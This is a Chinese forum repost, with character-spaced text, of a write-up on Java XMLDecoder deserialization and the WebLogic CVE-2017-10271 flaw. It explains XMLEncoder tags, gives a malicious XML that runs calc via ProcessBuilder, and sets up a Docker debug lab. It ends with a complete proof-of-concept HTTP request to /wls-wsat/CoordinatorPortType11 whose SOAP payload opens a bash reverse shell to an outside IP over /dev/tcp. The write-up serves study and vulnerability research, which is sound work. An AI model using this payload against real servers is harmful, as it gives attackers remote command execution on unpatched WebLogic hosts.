搜索

[1182] 2021-06-24_XMLDecoder反序列化与CVE-2017-10271

文档创建者：s7ckTeam
浏览次数：55
最后更新：2025-01-16
2021-06-24_XMLDecoder反序列化与CVE-2017-10271 X M L D e c o d e r 反 序 列 化 与 C V E - 2 0 1 7 - 1 0 2 7 1 原 创   S y s t 1 m   C h a B u g   2 0 2 1 - 0 6 - 2 4 X M L E n c o d e r 与 与   X M L D e c o d e r 使 用 来 生 成 表 示 组 件 （ b e a n ） 的 文 档 ， 用 读 取 使 用     创 建 的 X M L 文 档 获 取 • X M L E n c o d e r 示 例 生 成 的 效 果 如 下 ， 在 t e s t . x m l 中 • X M L D e c o d e r 示 例 最 终 生 成 的 打 印 结 果 为 X M L E n c o d e r J a v a B e a n s X M L X M L D e c o d e r X M L E n c o d e r J a v a B e a n s i m p o r t   j a v a x . s w i n g . * ; i m p o r t   j a v a . b e a n s . X M L E n c o d e r ; i m p o r t   j a v a . i o . B u f f e r e d O u t p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; p u b l i c   c l a s s   x m l e n c o d e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n {                 X M L E n c o d e r   a   =   n e w   X M L E n c o d e r ( n e w   B u f f e r e d O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( " t e s t . x m l " ) ) ) ;                 a . w r i t e O b j e c t ( n e w   J B u t t o n ( " t e s t . t e s t " ) ) ;                 a . c l o s e ( ) ;         } } < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < j a v a   v e r s i o n = " 1 . 8 . 0 _ 2 8 1 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " >   < o b j e c t   c l a s s = " j a v a x . s w i n g . J B u t t o n " >     < s t r i n g > t e s t . t e s t < / s t r i n g >   < / o b j e c t > < / j a v a > i m p o r t   j a v a x . s w i n g . * ; i m p o r t   j a v a . b e a n s . X M L D e c o d e r ; i m p o r t   j a v a . b e a n s . X M L E n c o d e r ; i m p o r t   j a v a . i o . B u f f e r e d I n p u t S t r e a m ; i m p o r t   j a v a . i o . B u f f e r e d O u t p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e I n p u t S t r e a m ; i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; p u b l i c   c l a s s   x m l e n c o d e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n {                 X M L D e c o d e r   j   =   n e w   X M L D e c o d e r ( n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( " t e s t . x m l " ) ) ) ;                 O b j e c t   r e s u l t   =   j . r e a d O b j e c t ( ) ;                 S y s t e m . o u t . p r i n t l n ( r e s u l t ) ;                 j . c l o s e ( ) ;         } } j a v a x . s w i n g . J B u t t o n [ , 0 , 0 , 0 x 0 , i n v a l i d , a l i g n m e n t X = 0 . 0 , a l i g n m e n t Y = 0 . 5 , b o r d e r = j a v a x . s w i n g . p l a f . B o r d e r U I R e s o u r c e $ C o m p o u n d B o r d e r U I R e s o u r c e @ 1 b 2 c 6 e c 2 , f l a g s = 2 9 6 , m a x i m u m S i z e = , m i n i m u m S i z e = , p r e f e r r e d S i z e = , d e f a u l t I c o n = , d i s a b l e d I c o n = , d i s a b l e d S e l e c t e d I c o n = , m a r g i n = j a v a x . s w i n g . p l a f . I n s e t s U I R e s o u r c e [ t o p =
X M L 标 签 、 属 性 标 签 、 属 性 • s t r i n g 标 签 • o b j e c t 标 签 通 过     标 签 表 示 对 象 ，     属 性 指 定 具 体 类 ( 用 于 调 用 其 内 部 方 法 ) ，     属 性 指 定 具 体 方 法 名 称 ( 比 如 构 造 函 数 的 的 方 法 名 为     )     对 应 的 文 档 : • v o i d 标 签 通 过     标 签 表 示 函 数 调 用 、 赋 值 等 操 作 ，     属 性 指 定 具 体 的 方 法 名 称 。     对 应 的 文 档 : • a r r a y 标 签 通 过     标 签 表 示 数 组 ，     属 性 指 定 具 体 类 ， 内 部     标 签 的     属 性 表 示 根 据 指 定 数 组 索 引 赋 值 。 t e s t , t e s t   字 符 串 的 在 X M L 中 表 示 方 式 为 ` < s t r i n g > t e s t . t e s t < / s t r i n g > < o b j e c t > c l a s s m e t h o d n e w n e w   J B u t t o n ( " t e s t , t e s t " ) X M L < o b j e c t   c l a s s = " j a v a x . s w i n g . J B u t t o n " >         < v o i d   m e t h o d = " s e t T e x t " >         < s t r i n g > t e s t , t e s t < / s t r i n g >         < / v o i d > < / o b j e c t > v o i d m e t h o d J B u t t o n   b   =   n e w   J B u t t o n ( ) ; b . s e t T e x t ( " H e l l o ,   w o r l d " ) ; X M L < o b j e c t   c l a s s = " j a v a x . s w i n g . J B u t t o n " >         < v o i d   m e t h o d = " s e t T e x t " >         < s t r i n g > H e l l o , x m l < / s t r i n g >         < / v o i d > < / o b j e c t > a r r a y c l a s s v o i d i n d e x S t r i n g [ ]   s   =   n e w   S t r i n g [ 3 ] ; s [ 1 ]   =   " H e l l o , x m l " ;
  对 应 的 文 档 : X M L D e c o d e r 反 序 列 化 漏 洞 反 序 列 化 漏 洞 • 这 里 的 示 例 代 码 还 是 使 用 原 来 的 代 码 • 这 里 将 原 有 的 t e s t . x m l 修 改 为 恶 意 X M L • 运 行 弹 出 计 算 器 W e b l o g i c   D o c k e r 调 试 环 境 搭 建 调 试 环 境 搭 建 这 里 的 这 里 的 d o c k e r 我 是 使 用 的 我 是 使 用 的 k a l i 中 的 中 的 S t r i n g [ ]   s   =   n e w   S t r i n g [ 3 ] ; s [ 1 ]   =   " H e l l o , x m l " ; X M L < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 3 " >           < v o i d   i n d e x = " 1 " >         < s t r i n g > H e l l o , x m l < / s t r i n g >     < / v o i d > < / a r r a y > p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n {                 X M L D e c o d e r   j   =   n e w   X M L D e c o d e r ( n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( " t e s t . x m l " ) ) ) ;                 O b j e c t   r e s u l t   =   j . r e a d O b j e c t ( ) ;                 j . c l o s e ( ) ;         } < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < j a v a   v e r s i o n = " 1 . 8 . 0 _ 1 1 2 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " > < v o i d   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " >   < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 1 " >     < v o i d   i n d e x = " 0 " >       < s t r i n g > c a l c < / s t r i n g >     < / v o i d >   < / a r r a y >   < v o i d   m e t h o d = " s t a r t " / > < / v o i d > < / j a v a >
• d o c k e r 的 8 4 5 3 开 启 ， 位 于 d o c k e r - c o m p o s e . y m l • 下 载 运 行 镜 像 v e r s i o n :   ' 2 ' s e r v i c e s : w e b l o g i c : i m a g e :   v u l h u b / w e b l o g i c p o r t s : -   " 7 0 0 1 : 7 0 0 1 " -   " 8 4 5 3 : 8 4 5 3 "
• 修 改 添 加 代 码 • 重 启 d o c k e r • 把   w e b l o g i c 的 源 码 和 j d k 包 都 拷 贝 出 来 • 拷 贝 到 我 的 代 码 机 器 / r o o t / O r a c l e / M i d d l e w a r e / u s e r _ p r o j e c t s / d o m a i n s / b a s e _ d o m a i n / b i n / s e t D o m a i n E n v . s h d e b u g F l a g = " t r u e " e x p o r t   d e b u g F l a g d o c k e r   c p   9 b c 5 c 6 e 5 2 9 0 c : / r o o t   . / t e s t /
• i d e a 打 开 r o o t O r a c l e M i d d l e w a r e 目 录 • 把 M i d d l e w a r e 目 录 下 所 有 的 * . j a r 包 都 放 在 一 个 l i b j a r 的 文 件 夹 • i d e a 中 的 j d k 设 置 为 环 境 自 带 的 1 . 6 f i n d   . /   - n a m e   * . j a r   - e x e c   c p   { }   . / l i b j a r /   ;
• i d e a 添 加 依 赖 库 • 远 程 调 试
• 开 启 d e b u g • 下 断 点
• 发 包 ， 出 现 这 样 的 情 况 说 明 环 境 搭 建 成 功 C V E - 2 0 1 7 - 1 0 2 7 1 • 受 影 响 版 本 ： C V E - 2 0 1 7 - 3 5 0 6 与 C V E - 2 0 1 7 - 1 0 2 7 1 均 为 X M L D e c o d e r 反 序 列 化 漏 洞 。 C V E - 2 0 1 7 - 3 5 0 6 修 补 方 案 为 禁 用 o b j e c t 标 签 。 C V E - 2 0 1 7 - 1 0 2 7 1 是 通 过 v o i d 、 n e w 标 签 对 C V E - 2 0 1 7 - 3 5 0 6 补 丁 的 绕 过 。 漏 洞 复 现 漏 洞 复 现 • p o c W e b L o g i c   1 0 . 3 . 6 . 0 . 0 W e b L o g i c   1 2 . 1 . 3 . 0 . 0 W e b L o g i c   1 2 . 2 . 1 . 1 . 0 W e b L o g i c   1 2 . 2 . 1 . 2 . 0 P O S T   / w l s - w s a t / C o o r d i n a t o r P o r t T y p e 1 1   H T T P / 1 . 1 H o s t :   x x x . x x x . x x x . x x x : 7 0 0 1 A c c e p t - E n c o d i n g :   i d e n t i t y A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t :   * / * U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   5 . 1 ;   r v : 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 . 0 A c c e p t - C h a r s e t :   G B K , u t f - 8 ; q = 0 . 7 , * ; q = 0 . 3 C o n n e c t i o n :   k e e p - a l i v e
漏 洞 分 析 漏 洞 分 析 使 用 b u r p 发 包 ， 查 看 返 回 包 ， 查 看 调 用 链 C o n n e c t i o n :   k e e p - a l i v e C o n t e n t - T y p e :   t e x t / x m l ; c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   6 4 8 < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / " >   < s o a p e n v : H e a d e r > < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " > < v o i d   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " > < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 3 " > < v o i d   i n d e x = " 0 " > < s t r i n g > / b i n / b a s h < / s t r i n g > < / v o i d > < v o i d   i n d e x = " 1 " > < s t r i n g > - c < / s t r i n g > < / v o i d > < v o i d   i n d e x = " 2 " > < s t r i n g > / b i n / s h   - i   >   / d e v / t c p / 1 0 7 . 1 7 3 . 8 1 . 9 4 / 6 6 6 6   2 < & 1   0 < & 1 < / s t r i n g > < / v o i d > < / a r r a y > < v o i d   m e t h o d = " s t a r t " / > < / v o i d > < / j a v a > < / w o r k : W o r k C o n t e x t > < / s o a p e n v : H e a d e r > < s o a p e n v : B o d y / > < / s o a p e n v : E n v e l o p e >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理